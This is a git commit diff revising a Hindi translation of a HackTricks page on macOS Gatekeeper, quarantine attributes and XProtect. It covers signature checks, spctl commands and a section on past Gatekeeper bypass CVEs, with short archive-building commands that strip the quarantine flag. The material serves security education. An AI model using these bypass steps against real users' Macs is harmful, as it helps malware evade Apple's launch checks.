Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:30:53 +00:00
parent 5abd7c7470
commit 065aca34e5
20 changed files with 843 additions and 527 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण प्राप्त करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks सामान प्राप्त करें**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर **फॉलो करें** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,11 +21,11 @@
## Gatekeeper
**Gatekeeper** एक सुरक्षा विशेषता है जो Mac ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता अपने सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर चलाएँ**। यह **सॉफ़्टवेयर को मान्य करके** कार्य करता है जो उपयोगकर्ता **ऐप स्टोर के बाहर** डाउनलोड करता है और खोलने का प्रयास करता है, जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज।
**Gatekeeper** एक सुरक्षा विशेषता है जो Mac ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता अपने सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर** चलाएँ। यह **सॉफ़्टवेयर को मान्य करके** कार्य करता है जो उपयोगकर्ता **ऐप स्टोर के बाहर** डाउनलोड करता है और खोलने का प्रयास करता है, जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज।
Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटराइज किया गया है**, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटराइजेशन के बाद इसमें छेड़छाड़ नहीं की गई है।
Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि क्या डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटरीकृत** है, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटरीकरण के बाद इसमें छेड़छाड़ नहीं की गई है।
इसके अतिरिक्त, Gatekeeper उपयोगकर्ता नियंत्रण और सुरक्षा को **पहली बार डाउनलोड किए गए सॉफ़्टवेयर को खोलने के लिए उपयोगकर्ताओं से अनुमोदन प्राप्त करके** मजबूत करता है। यह सुरक्षा उपाय उपयोगकर्ताओं को संभावित हानिकारक निष्पादन योग्य कोड को अनजाने में चलाने से रोकने में मदद करता है, जिसे वे एक हानिरहित डेटा फ़ाइल समझ सकते हैं।
इसके अतिरिक्त, Gatekeeper उपयोगकर्ता नियंत्रण और सुरक्षा को **पहली बार डाउनलोड किए गए सॉफ़्टवेयर को खोलने के लिए उपयोगकर्ताओं से अनुमोदन प्राप्त करके** मजबूत करता है। यह सुरक्षा उपाय उपयोगकर्ताओं को संभावित हानिकारक निष्पादन योग्य कोड को अनजाने में चलाने से रोकने में मदद करता है जिसे वे एक हानिरहित डेटा फ़ाइल के रूप में गलत समझ सकते हैं।
### Application Signatures
@ -31,16 +34,16 @@ Gatekeeper का मुख्य तंत्र इसके **सत्या
यहाँ यह कैसे काम करता है:
1. **एप्लिकेशन को हस्ताक्षरित करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, तो वह **एक निजी कुंजी का उपयोग करके एप्लिकेशन को हस्ताक्षरित करता है**। यह निजी कुंजी एक **प्रमाणपत्र से जुड़ी होती है जो Apple डेवलपर प्रोग्राम में नामांकित होने पर डेवलपर को जारी की जाती है**। हस्ताक्षर प्रक्रिया में ऐप के सभी भागों का एक क्रिप्टोग्राफिक हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है।
2. **एप्लिकेशन का वितरण:** हस्ताक्षरित एप्लिकेशन को फिर उपयोगकर्ताओं को डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित सार्वजनिक कुंजी होती है।
3. **एप्लिकेशन क सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन में संशोधन नहीं किया गया है** जब से डेवलपर ने इसे हस्ताक्षरित किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
2. **एप्लिकेशन का वितरण:** हस्ताक्षरित एप्लिकेशन फिर उपयोगकर्ताओं को डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित सार्वजनिक कुंजी होती है।
3. **एप्लिकेशन क सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन को संशोधित नहीं किया गया है** जब से डेवलपर ने इसे हस्ताक्षरित किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
एप्लिकेशन हस्ताक्षर Apple के Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर की पुष्टि करता है। यदि यह एक ज्ञात डेवलपर को Apple द्वारा जारी किए गए प्रमाणपत्र के साथ हस्ताक्षरित है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक कर देता है और उपयोगकर्ता को सूचित करता है।
एप्लिकेशन हस्ताक्षर Apple के Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर की पुष्टि करता है। यदि इसे एक ज्ञात डेवलपर को Apple द्वारा जारी किए गए प्रमाणपत्र के साथ हस्ताक्षरित किया गया है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक कर देता है और उपयोगकर्ता को सूचित करता है।
macOS Catalina से शुरू होकर, **Gatekeeper यह भी जांचता है कि एप्लिकेशन को Apple द्वारा नोटराइज किया गया है** या नहीं, जो सुरक्षा की एक अतिरिक्त परत जोड़ता है। नोटराइजेशन प्रक्रिया एप्लिकेशन को ज्ञात सुरक्षा मुद्दों और दुर्भावनापूर्ण कोड के लिए जांचती है, और यदि ये जांच पास हो जाती हैं, तो Apple एप्लिकेशन में एक टिकट जोड़ता है जिसे Gatekeeper सत्यापित कर सकता है।
macOS Catalina से शुरू होकर, **Gatekeeper यह भी जांचता है कि क्या एप्लिकेशन को Apple द्वारा नोटरीकृत किया गया है**, जो सुरक्षा की एक अतिरिक्त परत जोड़ता है। नोटरीकरण प्रक्रिया एप्लिकेशन की ज्ञात सुरक्षा समस्याओं और दुर्भावनापूर्ण कोड की जांच करती है, और यदि ये जांच पास होती हैं, तो Apple एप्लिकेशन में एक टिकट जोड़ता है जिसे Gatekeeper सत्यापित कर सकता है।
#### Check Signatures
जब कुछ **malware sample** की जांच करते हैं, तो आपको हमेशा **बाइनरी के हस्ताक्षर की जांच करनी चाहिए** क्योंकि **डेवलपर** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **malware से संबंधित** हो सकता है।
जब कुछ **malware sample** की जांच करते हैं, तो आपको हमेशा **signature** की जांच करनी चाहिए क्योंकि **developer** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **malware** से **related** हो सकता है।
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -63,11 +66,11 @@ Apple की नोटरीकरण प्रक्रिया उपयो
यदि सॉफ़्टवेयर इस निरीक्षण को बिना किसी चिंता के **पास** कर लेता है, तो Notary Service एक नोटरीकरण टिकट उत्पन्न करती है। फिर डेवलपर को **इस टिकट को अपने सॉफ़्टवेयर से संलग्न करना** आवश्यक है, जिसे 'स्टेपलिंग' के रूप में जाना जाता है। इसके अलावा, नोटरीकरण टिकट को ऑनलाइन भी प्रकाशित किया जाता है जहाँ Gatekeeper, Apple की सुरक्षा तकनीक, इसे एक्सेस कर सकती है।
उपयोगकर्ता द्वारा सॉफ़्टवेयर की पहली स्थापना या निष्पादन पर, नोटरीकरण टिकट की उपस्थिति - चाहे वह निष्पादन योग्य के साथ स्टेपल किया गया हो या ऑनलाइन पाया गया हो - **Gatekeeper को सूचित करती है कि सॉफ़्टवेयर को Apple द्वारा नोटरीकरण किया गया है**। परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में एक वर्णनात्मक संदेश प्रदर्शित करता है, जो यह दर्शाता है कि सॉफ़्टवेयर को Apple द्वारा दुष्ट सामग्री के लिए जांचा गया है। यह प्रक्रिया उपयोगकर्ताओं के लिए उस सॉफ़्टवेयर की सुरक्षा में विश्वास को बढ़ाती है जिसे वे अपने सिस्टम पर स्थापित या चलाते हैं।
उपयोगकर्ता द्वारा सॉफ़्टवेयर की पहली स्थापना या निष्पादन पर, नोटरीकरण टिकट की उपस्थिति - चाहे वह निष्पादन योग्य के साथ स्टेपल किया गया हो या ऑनलाइन पाया गया हो - **Gatekeeper को सूचित करती है कि सॉफ़्टवेयर को Apple द्वारा नोटरीकरण किया गया है**। परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में एक वर्णनात्मक संदेश प्रदर्शित करता है, जो यह संकेत करता है कि सॉफ़्टवेयर को Apple द्वारा दुष्ट सामग्री के लिए जांचा गया है। यह प्रक्रिया उपयोगकर्ताओं के लिए उस सॉफ़्टवेयर की सुरक्षा में विश्वास को बढ़ाती है जिसे वे अपने सिस्टम पर स्थापित या चलाते हैं।
### Enumerating GateKeeper
GateKeeper दोनों है, **कई सुरक्षा घटक** जो अविश्वसनीय ऐप्स को निष्पादित होने से रोकते हैं और **एक घटक** भी है
GateKeeper दोनों है, **कई सुरक्षा घटक** जो अविश्वसनीय ऐप्स को निष्पादित होने से रोकते हैं और **एक घटक** भी है।
आप **GateKeeper की स्थिति** को देख सकते हैं:
```bash
@ -128,7 +131,7 @@ spctl --master-enable
<figure><img src="../../../.gitbook/assets/image (1151).png" alt=""><figcaption></figcaption></figure>
यह संभव है कि **जांचें कि क्या एक ऐप GateKeeper द्वारा अनुमति दी जाएगी**:
यह संभव है कि **जांचें कि क्या एक ऐप को GateKeeper द्वारा अनुमति दी जाएगी**:
```bash
spctl --assess -v /Applications/App.app
```
@ -149,27 +152,27 @@ spctl --assess -v /Applications/App.app
```
### Quarantine Files
जब **एक एप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन फ्लैग**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता एक सुरक्षा उपाय के रूप में कार्य करती है ताकि फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिन्हित** किया जा सके, और संभावित रूप से जोखिम उठाने वाली हो। हालाँकि, सभी एप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है।
जब **एक एप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन ध्वज**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता एक सुरक्षा उपाय के रूप में कार्य करती है ताकि फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिन्हित** किया जा सके, और संभावित रूप से जोखिम उठाने वाली हो। हालाँकि, सभी एप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है।
**क्वारंटाइन फ्लैग की उपस्थिति macOS के गेटकीपर सुरक्षा फ़ीचर को संकेत देती है जब एक उपयोगकर्ता फ़ाइल को निष्पादित करने का प्रयास करता है**।
**क्वारंटाइन ध्वज की उपस्थिति macOS के गेटकीपर सुरक्षा फ़ीचर को संकेत देती है जब एक उपयोगकर्ता फ़ाइल को निष्पादित करने का प्रयास करता है**।
यदि **क्वारंटाइन फ्लैग मौजूद नहीं है** (जैसे कुछ BitTorrent क्लाइंट के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), तो गेटकीपर के **चेक किए जा सकते हैं**। इसलिए, उपयोगकर्ताओं को कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलों को खोलते समय सावधानी बरतनी चाहिए।
यदि **क्वारंटाइन ध्वज मौजूद नहीं है** (जैसे कुछ BitTorrent क्लाइंट के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), तो गेटकीपर के **चेक किए जा सकते हैं**। इसलिए, उपयोगकर्ताओं को कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलों को खोलते समय सावधानी बरतनी चाहिए।
{% hint style="info" %}
**कोड हस्ताक्षरों की** **वैधता** की **जांच करना** एक **संसाधन-गहन** प्रक्रिया है जिसमें कोड और इसके सभी बंडल किए गए संसाधनों के क्रिप्टोग्राफ़िक **हैश** उत्पन्न करना शामिल है। इसके अलावा, प्रमाणपत्र की वैधता की जांच करने में Apple के सर्वरों पर एक **ऑनलाइन जांच** करना शामिल है यह देखने के लिए कि क्या इसे जारी किए जाने के बाद रद्द कर दिया गया है। इन कारणों से, एक पूर्ण कोड हस्ताक्षर और नोटरीकरण जांच **हर बार एक ऐप लॉन्च होने पर चलाना व्यावहारिक नहीं है**
**कोड हस्ताक्षरों की** **वैधता** की **जांच** एक **संसाधन-गहन** प्रक्रिया है जिसमें कोड और इसके सभी बंडल किए गए संसाधनों के क्रिप्टोग्राफ़िक **हैश** उत्पन्न करना शामिल है। इसके अलावा, प्रमाणपत्र की वैधता की जांच करने में Apple के सर्वरों पर एक **ऑनलाइन जांच** करना शामिल है यह देखने के लिए कि क्या इसे जारी किए जाने के बाद रद्द कर दिया गया है। इन कारणों से, एक पूर्ण कोड हस्ताक्षर और नोटरीकरण जांच **हर बार एक ऐप लॉन्च होने पर चलाना व्यावहारिक नहीं है**
इसलिए, ये जांचें **केवल उन ऐप्स को निष्पादित करते समय चलती हैं जिनमें क्वारंटाइन विशेषता होती है।**
इसलिए, ये जांचें **केवल क्वारंटाइन विशेषता वाले ऐप्स को निष्पादित करते समय चलती हैं।**
{% endhint %}
{% hint style="warning" %}
यह विशेषता **फ़ाइल बनाने/डाउनलोड करने वाले एप्लिकेशन द्वारा सेट की जानी चाहिए**
हालाकि, जो फ़ाइलें सैंडबॉक्स की गई हैं, वे हर फ़ाइल पर यह विशेषता सेट करेंगी जो वे बनाती हैं। और गैर-सैंडबॉक्स ऐप्स इसे स्वयं सेट कर सकते हैं, या **Info.plist** में [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) कुंजी निर्दिष्ट कर सकते हैं, जो सिस्टम को फ़ाइलों पर `com.apple.quarantine` विस्तारित विशेषता सेट करने के लिए बनाएगी,
हालाकि, जो फ़ाइलें सैंडबॉक्स की गई हैं, वे हर फ़ाइल पर यह विशेषता सेट करेंगी जो वे बनाती हैं। और गैर-सैंडबॉक्स ऐप्स इसे स्वयं सेट कर सकते हैं, या **Info.plist** में [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) कुंजी निर्दिष्ट कर सकते हैं, जो सिस्टम को फ़ाइलों पर `com.apple.quarantine` विस्तारित विशेषता सेट करने के लिए बनाएगी,
{% endhint %}
इसके अलावा, एक प्रक्रिया द्वारा बनाई गई सभी फ़ाइलें **`qtn_proc_apply_to_self`** को क्वारंटाइन किया गया है। या API **`qtn_file_apply_to_path`** एक निर्दिष्ट फ़ाइल पथ पर क्वारंटाइन विशेषता जोड़ता है।
यह **इसके स्थिति की जांच करना और सक्षम/अक्षम करना** (रूट आवश्यक) संभव है:
इसकी स्थिति **जांचना और सक्षम/अक्षम करना** (रूट आवश्यक) संभव है:
```bash
spctl --status
assessments enabled
@ -284,7 +287,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
#### **Quarantine.kext**
कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश** के माध्यम से उपलब्ध है; हालाँकि, आप **Kernel Debug Kit को https://developer.apple.com/** से डाउनलोड कर सकते हैं, जिसमें एक्सटेंशन का एक प्रतीकित संस्करण होगा।
कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश** के माध्यम से उपलब्ध है; हालाँकि, आप **Kernel Debug Kit को https://developer.apple.com/** से डाउनलोड कर सकते हैं, जिसमें एक्सटेंशन का एक प्रतीकात्मक संस्करण होगा।
### XProtect
@ -302,9 +305,9 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर स्थित है और बंडल के अंदर आप जानकारी पा सकते हैं जिसका उपय XProtect करता है:
XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर स्थित है और बंडल के अंदर आप जानकारी पा सकते हैं जो XProtect उपयोग करता है:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: उन cdhashes के साथ कोड को विरासत अधिकारों का उपयोग करने की अनुमति देता है।
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: उन cdhashes के साथ कोड को विरासत के अधिकारों का उपयोग करने की अनुमति देता है।
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: प्लगइन्स और एक्सटेंशनों की सूची जो BundleID और TeamID के माध्यम से लोड करने की अनुमति नहीं है या न्यूनतम संस्करण को इंगित करती है।
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: मैलवेयर का पता लगाने के लिए यारा नियम।
* **`XProtect.bundle/Contents/Resources/gk.db`**: अवरुद्ध अनुप्रयोगों और TeamIDs के हैश के साथ SQLite3 डेटाबेस।
@ -317,25 +320,25 @@ XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर
ध्यान दें कि Gatekeeper **हर बार निष्पादित नहीं होता** जब आप एक अनुप्रयोग निष्पादित करते हैं, केवल _**AppleMobileFileIntegrity**_ (AMFI) केवल **निष्पादित कोड हस्ताक्षर** की पुष्टि करेगा जब आप एक ऐप निष्पादित करते हैं जिसे पहले Gatekeeper द्वारा निष्पादित और सत्यापित किया गया है।
{% endhint %}
इसलिए, पहले यह संभव था कि एक ऐप को Gatekeeper के साथ कैश करने के लिए निष्पादित किया जाए, फिर **अनुप्रयोग की गैर-निष्पादित फ़ाइलों को संशोधित करें** (जैसे Electron asar या NIB फ़ाइलें) और यदि कोई अन्य सुरक्षा उपाय नहीं थे, तो अनुप्रयोग **निष्पादित** किया जाता था **दुष्ट** परिवर्धनों के साथ।
इसलिए, पहले यह संभव था कि एक ऐप को Gatekeeper के साथ कैश करने के लिए निष्पादित किया जाए, फिर **अनुप्रयोग की गैर-निष्पादित फ़ाइलों को संशोधित करें** (जैसे Electron asar या NIB फ़ाइलें) और यदि कोई अन्य सुरक्षा उपाय नहीं थे, तो अनुप्रयोग **निष्पादित** किया गया था **दुष्ट** परिवर्धनों के साथ।
हालांकि, अब यह संभव नहीं है क्योंकि macOS **अनुप्रयोग बंडलों के अंदर फ़ाइलों को संशोधित करने से रोकता है**। इसलिए, यदि आप [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) हमले का प्रयास करते हैं, तो आप पाएंगे कि इसे दुरुपयोग करना अब संभव नहीं है क्योंकि Gatekeeper के साथ इसे कैश करने के लिए ऐप को निष्पादित करने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि शोषण में इंगित किया गया है), और फिर ऐप के मुख्य बाइनरी को Gatekeeper के साथ कैश करने के लिए निष्पादित करते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और निष्पादित नहीं होगा।
## Gatekeeper Bypasses
Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और निष्पादित करने के लिए प्रबंधित करना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को असाइन किए गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी:
Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और निष्पादित करने में सक्षम बनाना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को सौंपे गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
यह देखा गया कि यदि **Archive Utility** का उपयोग निष्कर्षण के लिए किया जाता है, तो **886 वर्णों से अधिक पथ** वाली फ़ाइलें com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं करती हैं। यह स्थिति अनजाने में उन फ़ाइलों को **Gatekeeper की** सुरक्षा जांचों को **बायपास** करने की अनुमति देती है।
यह देखा गया कि यदि **Archive Utility** का उपयोग निष्कर्षण के लिए किया जाता है, तो **886 वर्णों से अधिक पथ** वाली फ़ाइलों को com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं होती है। यह स्थिति अनजाने में उन फ़ाइलों को **Gatekeeper की** सुरक्षा जांचों को **बायपास** करने की अनुमति देती है।
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) की जांच करें।
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
जब एक अनुप्रयोग **Automator** के साथ बनाया जाता है, तो इसे निष्पादित करने के लिए आवश्यक जानकारी `application.app/Contents/document.wflow` के अंदर होती है, न कि निष्पादित में। निष्पादित केवल एक सामान्य Automator बाइनरी है जिसे **Automator Application Stub** कहा जाता है।
जब एक अनुप्रयोग **Automator** के साथ बनाया जाता है, तो इसे निष्पादित करने के लिए आवश्यक जानकारी `application.app/Contents/document.wflow` के अंदर होती है न कि निष्पादित में। निष्पादित केवल एक सामान्य Automator बाइनरी है जिसे **Automator Application Stub** कहा जाता है।
इसलिए, आप `application.app/Contents/MacOS/Automator\ Application\ Stub` को **सिस्टम के अंदर एक अन्य Automator Application Stub की ओर एक प्रतीकात्मक लिंक के साथ इंगित कर सकते हैं** और यह `document.wflow` (आपका स्क्रिप्ट) के अंदर जो है उसे निष्पादित करेगा **बिना Gatekeeper को ट्रिगर किए** क्योंकि वास्तविक निष्पादित में क्वारंटाइन xattr नहीं है।
इसलिए, आप `application.app/Contents/MacOS/Automator\ Application\ Stub` को **सिस्टम के अंदर एक अन्य Automator Application Stub की ओर एक प्रतीकात्मक लिंक के साथ इंगित कर सकते हैं** और यह `document.wflow` (आपका स्क्रिप्ट) के अंदर जो है उसे **Gatekeeper को ट्रिगर किए बिना निष्पादित करेगा** क्योंकि वास्तविक निष्पादित में क्वारंटाइन xattr नहीं है।
उदाहरण के लिए अपेक्षित स्थान: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -351,7 +354,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
यहां तक कि यदि घटक भिन्न हैं, तो इस कमजोरियों का शोषण पिछले वाले के समान है। इस मामले में, हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा अनजिप करते समय क्वारंटाइन विशेषता न मिले।
यहां तक कि यदि घटक भिन्न हैं, तो इस सुरक्षा कमजोरी का शोषण पिछले वाले के समान है। इस मामले में, हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा अनजिप करते समय क्वारंटाइन विशेषता न मिले।
```bash
aa archive -d test.app/Contents -o test.app.aar
```
@ -394,7 +397,7 @@ aa archive -d app -o test.aar
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDouble फ़ाइल प्रारूप एक फ़ाइल के गुणों को एक अलग फ़ाइल में `._` से शुरू करके संग्रहीत करते हैं, यह **macOS मशीनों के बीच फ़ाइल गुणों की कॉपी करने में मदद करता है**। हालाँकि, यह देखा गया कि एक AppleDouble फ़ाइल को अनजिप करने के बाद, `._` से शुरू होने वाली फ़ाइल को **क्वारंटाइन विशेषता नहीं दी गई**
AppleDouble फ़ाइल प्रारूप एक फ़ाइल के गुणों को एक अलग फ़ाइल में `._` से शुरू करके संग्रहीत करते हैं, यह **macOS मशीनों के बीच फ़ाइल गुणों की कॉपी करने में मदद करता है**। हालाँकि, यह देखा गया कि एक AppleDouble फ़ाइल को अनजिप करने के बाद, `._` से शुरू होने वाली फ़ाइल को **क्वारंटाइन विशेषता नहीं दी गई**
{% code overflow="wrap" %}
```bash
@ -408,8 +411,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
